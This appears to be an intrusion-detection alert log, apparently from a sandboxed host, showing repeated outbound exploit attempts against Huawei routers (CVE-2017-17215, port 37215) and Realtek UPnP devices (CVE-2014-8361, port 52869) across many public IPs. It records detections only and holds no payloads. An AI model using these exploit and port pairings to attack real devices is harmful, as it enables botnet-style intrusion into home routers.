07/20/24-23:01:21.909111	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48624	37215	192.168.2.23	41.106.80.160
07/20/24-23:01:21.937814	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45388	37215	192.168.2.23	213.191.23.16
07/20/24-23:01:41.286911	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33388	52869	192.168.2.23	100.224.33.210
07/20/24-23:01:42.869520	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58910	52869	192.168.2.23	160.195.41.193
07/20/24-23:01:24.934684	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56506	37215	192.168.2.23	41.195.231.185
07/20/24-23:01:41.722890	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38548	52869	192.168.2.23	35.242.111.156
07/20/24-23:00:59.161892	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32798	37215	192.168.2.23	157.71.150.37
07/20/24-23:01:41.909668	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42420	52869	192.168.2.23	184.207.38.235
07/20/24-23:01:49.553791	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33484	52869	192.168.2.23	24.80.173.172
07/20/24-23:01:51.288562	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38350	52869	192.168.2.23	20.232.50.163
07/20/24-23:02:21.004725	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56508	52869	192.168.2.23	125.106.198.203
07/20/24-23:01:52.041756	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36888	52869	192.168.2.23	135.204.232.202
07/20/24-23:00:59.211046	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37624	37215	192.168.2.23	41.245.116.58
07/20/24-23:01:43.180913	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54438	52869	192.168.2.23	219.230.144.186
07/20/24-23:01:55.125263	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57470	52869	192.168.2.23	119.217.160.56
07/20/24-23:01:31.323042	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43226	52869	192.168.2.23	19.16.79.3
07/20/24-23:01:57.101402	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34722	52869	192.168.2.23	117.106.84.138
07/20/24-23:01:13.310941	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34298	52869	192.168.2.23	144.166.152.235
07/20/24-23:01:02.304416	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37654	52869	192.168.2.23	162.220.3.30
07/20/24-23:01:21.951975	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53174	37215	192.168.2.23	41.50.198.124
07/20/24-23:01:24.876750	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53958	37215	192.168.2.23	41.129.118.181
07/20/24-23:01:55.366575	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33730	52869	192.168.2.23	112.243.101.70
07/20/24-23:01:11.636425	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50652	37215	192.168.2.23	197.24.62.182
07/20/24-23:01:45.075399	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35962	52869	192.168.2.23	162.100.122.131
07/20/24-23:01:31.323042	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38880	52869	192.168.2.23	145.117.47.181
07/20/24-23:01:43.895586	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52138	52869	192.168.2.23	171.210.7.241
07/20/24-23:01:24.990022	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56464	52869	192.168.2.23	85.173.195.222
07/20/24-23:01:58.035425	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52626	52869	192.168.2.23	83.28.127.148
07/20/24-23:01:04.040812	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48558	37215	192.168.2.23	158.105.50.58
07/20/24-23:01:00.645051	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42956	37215	192.168.2.23	41.12.12.126
07/20/24-23:01:55.546480	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56624	52869	192.168.2.23	174.141.27.208
07/20/24-23:01:50.901722	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	32886	52869	192.168.2.23	141.38.115.93
07/20/24-23:02:03.068984	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52552	52869	192.168.2.23	48.103.95.129
07/20/24-23:01:53.267116	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57100	52869	192.168.2.23	67.228.135.229
07/20/24-23:01:25.288586	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33274	52869	192.168.2.23	47.20.172.49
07/20/24-23:01:42.499887	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42864	52869	192.168.2.23	199.182.118.208
07/20/24-23:01:42.786028	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56518	52869	192.168.2.23	200.107.251.119
07/20/24-23:00:59.213564	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40646	37215	192.168.2.23	198.189.132.142
07/20/24-23:01:31.976649	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57286	37215	192.168.2.23	41.134.23.85
07/20/24-23:01:47.474975	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36434	52869	192.168.2.23	13.165.214.181
07/20/24-23:01:08.700029	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44644	52869	192.168.2.23	174.56.72.194
07/20/24-23:01:49.232174	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51510	52869	192.168.2.23	86.212.150.4
07/20/24-23:01:04.118165	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55284	37215	192.168.2.23	41.73.64.241
07/20/24-23:02:05.476791	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49842	52869	192.168.2.23	83.250.249.17
07/20/24-23:01:42.890948	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49942	52869	192.168.2.23	149.51.58.185
07/20/24-23:01:08.588009	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48686	52869	192.168.2.23	210.116.25.221
07/20/24-23:01:54.053348	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48152	52869	192.168.2.23	212.188.148.79
07/20/24-23:01:46.241196	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60242	52869	192.168.2.23	167.230.66.89
07/20/24-23:02:14.686790	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35484	52869	192.168.2.23	92.131.8.148
07/20/24-23:00:57.222279	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47332	37215	192.168.2.23	197.146.199.163
07/20/24-23:02:09.095115	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35686	52869	192.168.2.23	77.112.214.83
07/20/24-23:01:24.833522	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48236	52869	192.168.2.23	48.111.4.84
07/20/24-23:01:51.944007	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60766	52869	192.168.2.23	194.155.182.26
07/20/24-23:01:56.210612	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59372	52869	192.168.2.23	193.18.125.219
07/20/24-23:01:02.090403	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36694	52869	192.168.2.23	153.0.45.254
07/20/24-23:01:08.585790	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53264	52869	192.168.2.23	194.63.61.192
07/20/24-23:01:46.580798	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44132	52869	192.168.2.23	191.8.175.218
07/20/24-23:01:43.965873	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51534	52869	192.168.2.23	202.170.123.220
07/20/24-23:01:58.751559	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43492	52869	192.168.2.23	206.198.46.124
07/20/24-23:01:31.327808	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46250	52869	192.168.2.23	49.81.102.7
07/20/24-23:01:45.735394	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44298	52869	192.168.2.23	223.75.101.67
07/20/24-23:01:02.059312	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54922	37215	192.168.2.23	202.106.145.234
07/20/24-23:01:20.601040	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57016	52869	192.168.2.23	85.106.41.174
07/20/24-23:01:58.249115	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40794	52869	192.168.2.23	34.100.42.211
07/20/24-23:01:31.991548	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57218	37215	192.168.2.23	197.42.75.0
07/20/24-23:01:42.719940	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37788	52869	192.168.2.23	132.116.164.169
07/20/24-23:01:43.173843	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48376	52869	192.168.2.23	64.190.167.168
07/20/24-23:01:14.111381	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60172	37215	192.168.2.23	195.93.174.118
07/20/24-23:01:31.975107	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50162	37215	192.168.2.23	41.66.153.204
07/20/24-23:01:32.060731	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60036	37215	192.168.2.23	137.86.119.85
07/20/24-23:01:43.906354	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40552	52869	192.168.2.23	169.102.32.106
07/20/24-23:01:55.497526	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55536	52869	192.168.2.23	135.85.2.136
07/20/24-23:01:50.418920	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56400	52869	192.168.2.23	79.45.122.255
07/20/24-23:01:07.082045	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51914	37215	192.168.2.23	197.182.114.212
07/20/24-23:01:43.288086	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57260	52869	192.168.2.23	17.63.153.183
07/20/24-23:01:48.322055	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53270	52869	192.168.2.23	134.173.191.58
07/20/24-23:01:04.082384	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57400	37215	192.168.2.23	41.185.218.214
07/20/24-23:01:13.972649	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47400	52869	192.168.2.23	113.195.103.231
07/20/24-23:01:08.597662	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55010	52869	192.168.2.23	139.37.94.236
07/20/24-23:01:31.322110	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44766	52869	192.168.2.23	109.162.13.246
07/20/24-23:01:01.271651	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60772	52869	192.168.2.23	195.67.134.63
07/20/24-23:01:42.869521	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56828	52869	192.168.2.23	42.7.66.220
07/20/24-23:01:52.285243	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47850	52869	192.168.2.23	126.2.96.116
07/20/24-23:01:25.819962	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49936	52869	192.168.2.23	156.32.87.120
07/20/24-23:01:09.027075	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32880	52869	192.168.2.23	189.63.115.173
07/20/24-23:01:44.674251	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49456	52869	192.168.2.23	37.192.4.35
07/20/24-23:01:27.660099	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56250	37215	192.168.2.23	66.67.190.136
07/20/24-23:01:50.985732	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41786	52869	192.168.2.23	209.10.74.49
07/20/24-23:01:21.951975	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44260	37215	192.168.2.23	197.168.17.251
07/20/24-23:01:51.183470	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59044	52869	192.168.2.23	167.207.100.170
07/20/24-23:01:08.630327	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34078	52869	192.168.2.23	195.64.245.14
07/20/24-23:00:57.221248	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38000	37215	192.168.2.23	41.143.61.103
07/20/24-23:02:06.441271	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46226	52869	192.168.2.23	36.224.134.244
07/20/24-23:01:44.277250	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43864	52869	192.168.2.23	123.147.61.106
07/20/24-23:01:07.061779	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59324	37215	192.168.2.23	136.131.38.133
07/20/24-23:01:47.693711	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58450	52869	192.168.2.23	125.188.157.139
07/20/24-23:00:57.221145	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56886	37215	192.168.2.23	17.113.7.103
07/20/24-23:01:54.482793	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42058	52869	192.168.2.23	163.75.91.9
07/20/24-23:02:08.206268	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53034	52869	192.168.2.23	27.234.34.183
07/20/24-23:01:02.070492	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60312	37215	192.168.2.23	157.44.1.200
07/20/24-23:01:59.296959	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49948	52869	192.168.2.23	118.179.102.207
07/20/24-23:00:59.158278	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33262	37215	192.168.2.23	41.232.172.92
07/20/24-23:01:41.676253	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58742	52869	192.168.2.23	157.9.32.210
07/20/24-23:01:51.212550	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40964	52869	192.168.2.23	88.239.244.206
07/20/24-23:01:41.238000	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52642	52869	192.168.2.23	190.125.30.210
07/20/24-23:01:42.728248	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37248	52869	192.168.2.23	89.174.70.107
07/20/24-23:01:06.975117	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48814	37215	192.168.2.23	197.26.40.97
07/20/24-23:01:48.834295	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58622	52869	192.168.2.23	71.14.67.20
07/20/24-23:01:42.692028	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57984	52869	192.168.2.23	12.110.126.98
07/20/24-23:01:03.102525	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36072	52869	192.168.2.23	2.10.234.63
07/20/24-23:01:48.955750	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60080	52869	192.168.2.23	105.224.21.3
07/20/24-23:02:11.791090	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47260	52869	192.168.2.23	84.123.73.220
07/20/24-23:00:59.157444	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39010	37215	192.168.2.23	157.24.24.246
07/20/24-23:01:08.629615	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59098	52869	192.168.2.23	170.225.184.185
07/20/24-23:02:07.294006	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37108	52869	192.168.2.23	194.45.44.116
07/20/24-23:01:42.101588	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53848	52869	192.168.2.23	207.162.61.245
07/20/24-23:01:45.484813	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41322	52869	192.168.2.23	222.227.230.240
07/20/24-23:01:44.993925	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59994	52869	192.168.2.23	161.245.24.12
07/20/24-23:01:21.938818	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37944	37215	192.168.2.23	206.153.203.206
07/20/24-23:01:31.328855	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53888	52869	192.168.2.23	203.166.233.2
07/20/24-23:01:24.596580	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38116	52869	192.168.2.23	61.127.88.100
07/20/24-23:02:05.835826	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48206	52869	192.168.2.23	141.221.231.245
07/20/24-23:01:46.483452	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40680	52869	192.168.2.23	87.254.251.88
07/20/24-23:01:47.962852	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34886	52869	192.168.2.23	191.208.197.76
07/20/24-23:01:42.729310	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48676	52869	192.168.2.23	159.222.212.200
07/20/24-23:01:04.595913	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52276	52869	192.168.2.23	91.233.41.28
07/20/24-23:01:58.688552	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37880	52869	192.168.2.23	131.180.1.65
07/20/24-23:01:41.758923	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58628	52869	192.168.2.23	20.44.163.254
07/20/24-23:00:57.222163	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43440	37215	192.168.2.23	197.212.61.129
07/20/24-23:01:44.468208	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50766	52869	192.168.2.23	133.169.65.78
07/20/24-23:01:20.110860	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40532	37215	192.168.2.23	157.87.180.92
07/20/24-23:01:27.730585	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52710	37215	192.168.2.23	41.253.120.16
07/20/24-23:00:57.221017	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34536	37215	192.168.2.23	197.76.203.13
07/20/24-23:01:42.485253	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50448	52869	192.168.2.23	145.203.252.98
07/20/24-23:01:20.161614	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57304	37215	192.168.2.23	157.58.211.164
07/20/24-23:01:40.343151	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39838	37215	192.168.2.23	197.236.217.25
07/20/24-23:01:44.945183	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33778	52869	192.168.2.23	34.82.199.243
07/20/24-23:01:02.146232	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45252	37215	192.168.2.23	41.155.25.219
07/20/24-23:01:27.725851	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40854	37215	192.168.2.23	41.140.237.44
07/20/24-23:01:43.841155	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47910	52869	192.168.2.23	133.172.125.251
07/20/24-23:01:45.109958	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51562	52869	192.168.2.23	190.1.92.156
07/20/24-23:01:43.380019	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49674	52869	192.168.2.23	128.197.233.56
07/20/24-23:01:42.010169	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36492	52869	192.168.2.23	186.68.76.128
07/20/24-23:01:42.519318	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53592	52869	192.168.2.23	196.168.75.104
07/20/24-23:01:43.392835	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36384	52869	192.168.2.23	202.8.238.183
07/20/24-23:01:44.732056	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49360	52869	192.168.2.23	154.167.112.208
07/20/24-23:01:52.569791	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52506	52869	192.168.2.23	65.85.212.42
07/20/24-23:01:02.127340	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54968	37215	192.168.2.23	58.225.246.95
07/20/24-23:02:37.123706	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42692	52869	192.168.2.23	90.118.44.58
07/20/24-23:01:24.889164	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49292	37215	192.168.2.23	157.59.34.22
07/20/24-23:00:59.204975	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49836	37215	192.168.2.23	197.55.44.167
07/20/24-23:01:42.693537	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44936	52869	192.168.2.23	157.155.242.14
07/20/24-23:01:41.459025	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42738	52869	192.168.2.23	69.239.30.22
07/20/24-23:02:03.032025	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58854	52869	192.168.2.23	60.191.4.143
07/20/24-23:01:12.813695	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36740	52869	192.168.2.23	126.12.83.193
07/20/24-23:01:53.665550	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60378	52869	192.168.2.23	153.51.4.30
07/20/24-23:01:11.634077	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37082	37215	192.168.2.23	41.36.118.151
07/20/24-23:01:02.093903	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49164	37215	192.168.2.23	71.240.106.220
07/20/24-23:00:59.154068	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43252	37215	192.168.2.23	72.152.128.124
07/20/24-23:01:44.252201	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33870	52869	192.168.2.23	207.27.209.75
07/20/24-23:01:20.132511	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47906	37215	192.168.2.23	41.11.151.145
07/20/24-23:01:41.332211	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51470	52869	192.168.2.23	220.250.27.9
07/20/24-23:01:44.491060	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48520	52869	192.168.2.23	121.218.112.247
07/20/24-23:01:40.286738	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48528	37215	192.168.2.23	157.194.207.76
07/20/24-23:01:40.334934	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52590	37215	192.168.2.23	197.67.65.109
07/20/24-23:01:47.775082	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55078	52869	192.168.2.23	165.18.43.140
07/20/24-23:01:54.940318	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46312	52869	192.168.2.23	218.205.210.219
07/20/24-23:01:46.289412	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59166	52869	192.168.2.23	1.132.71.9
